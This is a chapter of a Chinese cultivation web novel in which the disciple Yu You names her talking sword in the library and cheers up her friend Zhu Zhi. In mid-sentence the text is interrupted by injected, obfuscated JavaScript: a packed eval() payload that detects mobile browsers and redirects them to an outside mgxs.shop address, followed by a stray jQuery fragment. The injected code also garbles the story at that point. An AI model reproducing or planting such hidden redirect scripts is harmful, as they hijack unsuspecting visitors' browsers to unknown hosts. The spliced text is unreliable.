于莜从里室屏风后出来,刚好遇见了朱枝给她介绍的宋家二人中的那位男弟子。
“上品元金丹没有吗?”他朝着柜台问道。
柜台后的师姐摇了摇头,“只有中品的,上品太过稀有,每次丹宗炼的不多,只有中峰才会售卖。”
宋弟子立马嘴角撇了下去。
师姐又说道:“同样是补充灵气,提升境界的草金丹你要不要?”
宋弟子说道:“草金丹只用灵草炼制,比元金丹少了最为珍贵的一味药,效果天差地别,算了,我让人送上来,只是耽误点时间罢了。”
他说着转身,看到了正好从里室出来的于莜,他上下扫了一眼,灵坛上他都看了,只是没想到有修士会去斩杀逃出秘境的妖兽,他和雨儿二人都和家族请来的修士一起去过秘境,同样斩杀过妖兽。
肯定是昨天师兄师姐那条讯条写得太过言重,他才会和雨儿一起回去,没去藏书阁后看看。
这次被此人抢了风头,但入门测验上,绝对不会!
父亲与他说了,柳长老递来地贴上,只写到:愿意将他二人收为内门弟子。
但只要他们在入门测验上大放异彩,率先击杀妖兽,出招一定要漂亮,还怕没有长老将他们收为亲传弟子吗?
他袖子甩着风,走出了百草堂。
于莜挠了挠脸,刚刚对方看过来的时候,好像在她身上格外停留了一秒。
于莜特意扫了自己一眼,这次她身上道袍无恙。
啧,看来还是她的魅力太大了。
师姐见于莜出来,微笑问道:“于莜师妹,要买丹药吗?”
于莜利落地摆了摆手,“等我赚了灵石。”
入山弟子都在拼命修炼,而这位小师妹想的全是怎么赚钱。
她好奇问道:“赚灵石?”
于莜一眨眼,“秘密。”
然后在师姐愈发好奇的目光中,跨步出了百草堂。
门外阳光明媚,一出门,于莜就听见脑海里有剑“呵”了一声。
于莜一笑,“终于舍得跟我说话了。”
天道剑:“你是故意的!你都知道!就是在晾着我!!!”
于莜低头逗着天道剑,往藏书阁走着。
邢奇见于莜从百草堂出来,眉头不自然一簇,又很快松开,他本意也是往藏书阁方向,脚步慢了半分,逐渐和于莜齐平。
于莜不知道在想什么,低眉似看着腰中挂着的剑,眉梢和嘴角都染上几分不羁的笑意。
他刚张开口,“于莜……”
“于莜师妹!”远方一道喊声盖过了他的声音。
邢奇一怔,抬头看向前方挥手跑来的那个人,白色道袍和他们略有不同,上面刻着“天山派”青色刺字。
于莜点头,是昨日帮他收拾半具妖兽尸体的外门师兄。
钟常好不容易将藏书阁后的一批人赶走,往大殿方向走,谁知就刚好碰上了于莜,他热情地打完招呼后,又看向于莜一旁隔着三米远同行的邢奇。
他自然地转头喊道:“邢奇师弟,我认识你哦,年纪轻轻就筑基中期,单独进过秘境斩杀过妖兽。”
邢奇板着一张脸:“我不认识你。”
钟常的笑容僵硬尬在了脸上,一息之后又恢复如常,他一向对天才要格外宽容些,“我是钟常,外门弟子,”
他指着于莜给他介绍道:“这是于莜,昨天多亏了她,才没让妖兽跑出去。”
邢奇说道:“妖兽很难打?”语气带着一股最为简单直白的嫌弃。
钟常:“……”
感觉被一个师弟教训了是怎么回事。
“妖兽逃出后进阶了,是二阶妖兽,而且进化方向是鸣叫扰乱心智,进化得突然,我们没有带应对的法宝,很难对付。”钟常耐心地说道。
听到妖兽进阶为二阶,邢奇瞬间握紧了剑柄,冷霜般的眼眸看向于莜。
于莜骤然感觉到了一股杀意。
她也瞬间握住了剑柄。
钟常看着二人之间微妙的气氛,上前一步,挡在了二人之间,笑着警示道:“这可不是去往比试台的方向哦~”
百草堂以东只有藏书阁,钟常岔开了话题,“你们去藏书阁干什么?”
邢奇抿起唇,不说话。
钟常笑了笑,早已猜到了他们的打算,“结界暂时不会松动,邢奇师弟没看灵坛吗?”
邢奇一顿,平时大殿东侧都冷冷清清的,就算有修士也是去往百草堂,他一路走来,却有很多人与他逆向。
他面无表情,最后从嘴里吐出两个字,“幼稚。”
说罢又觉得自己本来也打算去那里,说出口的话头一转,反而给了自己一击,再也说不出其他话来,看着于莜含笑的眼睛忽然变了质,仿佛在嘲弄一般,顿时转身就走,倒像是落荒而逃一样。
赶走一位后,邢奇又笑着看向于莜,于莜率先开口说道:“我去藏书阁看书。”
钟常听到这个回答一顿,转瞬又疑惑地打量着于莜。
于莜问道:“去藏书阁看书很奇怪吗?”
钟常摇了摇头,“不怪不怪。”
其实很怪。
他看着于莜走远的身影,下峰藏书阁的书籍只是一些入门的不能再入门的书籍,他们从下城批发价一堆一堆地买的,只不过为了做样子,给每本书都上了灵气锁,就算丢失了随便买一本凑上就行,也没人管。
入门测验一天天近了,怎么会有修士把功夫放在看那些无用书籍上。
藏书阁依旧冷冷清清。
于莜达到练气前期后,藏书阁的书便都可以看了。
她随意从书架上拿下一本,扔到了桌子上,“挑两个字,选你的名字。”她对天道剑说道。
天道剑立马飞了起来,“真的?”
于莜点点头,又从书架中选了一本基础剑招看着,“嗯,骗你干什么。”
天道剑一边用剑鞘翻着书,在上面点来点去,还是不可置信道:“真的让我自己选?”
于莜又“嗯”了一声,“你自己的名字自己选,不愿意?”
“愿意愿意。”天道剑立马说道,他瞅着于莜,想到昨晚的一通置气,怎么变成是他在无理取闹一样。
天道剑没怎么翻书,于莜扔给他的是一本修炼时帮助入定的经书。
他看着旁边正盘坐在蒲团上认真看书的于莜,清了下嗓子说道:“名字其实我早就想好了。”
于莜从书中抬头,看向他。
“就叫破斩雷霸天!”
于莜呆滞了几秒,被一道焦雷从头劈到了尾。
天道剑还在说:“怎么样?很不错吧,我可是想了好久……”他晃着剑柄,“从我醒来便在想了,如果有一位天资主人拔出我……”他说着停了下来。
可惜他现在的主人命不长。
命不长·于莜默默伸手将天道剑压着的书给拉了过来,“……我收回让你自己取名的权力。”
天道剑一愣,立马咋咋呼呼道:“你不满意!这名字不好吗!”
于莜淡淡地翻着经书,“嗯,你的主人要脸。”
天道剑剑身一撇,顿时觉得刚刚觉得于莜可怜是多么、多么错误的想法,他上下跳着,喊道:“于莜你就是个大坏蛋!”
于莜被他的话逗笑了,“行……于莜是个大坏蛋……”
“你到底多大?”
她听着天道剑的声音是清朗的少年音,带着狂狷和傲气,是那种天生天资卓绝、万千灵气汇聚于一身,因此事事顺遂,称心如意的狂。
估计一生最倒霉的事情就是碰到她了。
天道剑说:“本剑一千零二十三岁。”
于莜翻了半天也没挑出个合适名字,她将书扔给他,悠悠说道:“‘观天之道,执天之行’干脆名字就叫道天。”
她话音一转,笑着说道:“小名叫于剑剑,冠我的姓。”
天道剑“哼”了一声,倒在桌子上,小声嘟囔道:“反正你早晚要死……到时候……”
于莜瞅了他一眼,天道剑瞬间闭嘴了。
直到日头方落,于莜才放下书回去,天道剑还赖在桌子上不动。
于莜回头看他,天道剑还在说道:“我觉得破斩雷霸天挺好的……到时候,说出来,不知道有多少剑羡慕我呢……只要你让我叫这个,之前的事情,我可以不……”
于莜转头就走,走到门前,忽地打了个响指,说道:“道天。”
下一秒,还赖皮在桌子上的天道剑立马飞到了于莜手边。
天道剑:“你!”
于莜勾起唇角,把剑别在腰上,拍了他剑鞘一下,走了。
天道剑:“……”
于莜吃了半颗辟谷丹,没去弟子居,而是去了小山坡,她想试试书中的剑招。
到了发现朱枝也在,不过不在修炼,而是在躺着。
于莜抬头看了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790554|210371||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
眼天,天山峰每晚星空璀璨,一开始于莜还惊叹几分,后来便习惯了。
朱枝听见脚步声,后仰头,见于莜倒着走了过来。
于莜将她拉起来,坐到她旁边。
朱枝善交际,上山短短时间交了不少朋友,于莜也是其中之一,像她这么安静独自一人坐着的时间屈指可数。
“怎么了?”于莜问道。
朱枝摇了摇头,“没什么,只是忽然全身没劲儿,剑不想炼、气不想修,躺着也烦,坐着也烦。”
于莜笑了,不知道对方受什么打击了,她看着朱枝,耐心等着她的话。
朱枝看了两眼于莜,手一直薅着地上的草,见对方没事可做,才将心事慢慢说出,“于莜,你说,我是不是真的不擅长练剑,这么长时间了,还是个小小练气。”
于莜微微挑眉,“练气怎么了,我也是练气。”
朱枝顿时一愣,张大了嘴忘记说话。
好久,脑海中炸出了第一句话,“可你不是杀了一头妖兽!?”
“是啊……”于莜悠悠道。
朱枝愣愣地看着于莜,“我之前一直以为,你已经是……筑基阶段了……”
于莜摸摸下巴,“怪不得,我总觉得你看着我像在看另外一个人。”
朱枝扑哧笑了,露出了今天的第一个笑容。
“你今天受什么影响了?”于莜问道。
朱枝将通灵玉牒上的灵坛递给于莜看,“你没看灵坛吗?”
于莜一挑眉接过,原来还有这东西。
于莜研究过后,此物可是说是低配版的手机,唯一的用途就是通灵交流,她看着论坛上的发言。
【论弟子居第三舍南房那位修士为何穿着泥袍上山?】
【不过是侥幸斩杀一头一阶妖兽罢了,另外三名大佬都没她这么大的讨论】
【快快,现在买定离手,赌谁测验先能斩下妖兽第一血】
【有谁知道于莜是什么灵根吗?这也是测验考核的一项】
……
于莜一笑,这就差指名道姓了。
朱枝给她解释道:“你别管这些人,他们专门这样,之前你的名字一直挂在灵坛里,有人觉得这样是在给你送人气,所以,便这样含糊不清地讨论。”
于莜笑着摇头,看着朱枝探究的目光,只好说道:“我只是没有净身符而已。”
朱枝微微撇头,跟一只怀疑的小鸟一样,幽黑的眼珠一点,剩下全是眼白,打量着于莜。
于莜说道:“真的。”
她大致扫了一圈灵坛,入门测验越来越近了,不免有些修士大肆宣扬,捧高踩低的。
朱枝或许是被上面一些人的发言影响到了,她将通灵玉牒还给朱枝。
朱枝:“我们还没有加讯友。”
“我没有这东西。”于莜坦诚地说道。
朱枝愣愣地看着于莜:“啊…………”
于莜十分认真地回望了过去。
一分钟过后,朱枝终于停住了脑海中的疑问和咆哮,“你……”
朱枝:“真的是个穷鬼。”
于莜“真的没灵石。”
二人同时出声。
于莜:“…………”
倒也不必说得那么直白。
朱枝还在发愣,像只本在停靠在枝头,枝头却忽然消失,茫然无措、找不到依靠的小雀。
在得知于莜是练气以后,对方很穷,这是第二大冲击的消息。
究竟是什么修士连通灵玉牒都没有。
朱枝刚想开口说,送对方一个。
于莜便站了起来,说道:“等我买了此物后,第一个加你。”
朱枝一愣,点点头,“好。”
“灵坛上那些修士怎么办?要我帮你骂回去吗?”
于莜握住剑柄,嘴角扬起一抹狂狷天不怕地不怕的笑意,“既然他们看我不爽,那就看我爽。”
她握着道天剑,未出鞘的剑尖斜指地面,伸向朱枝。
“练剑吗?少女。”
朱枝站了起来,握住剑,“我可是很菜的。”
于莜一笑道:“所以我们会进步。”
朱枝忘记了呼吸,定睛看着于莜,母亲常跟她说:“修者,不以对方强大而心生畏惧,不以自己弱小而心生怯懦。”
她修炼这么多年,仿佛终于顿悟修者二字是何意。
握紧手中剑,朱枝用力一点头,“好。”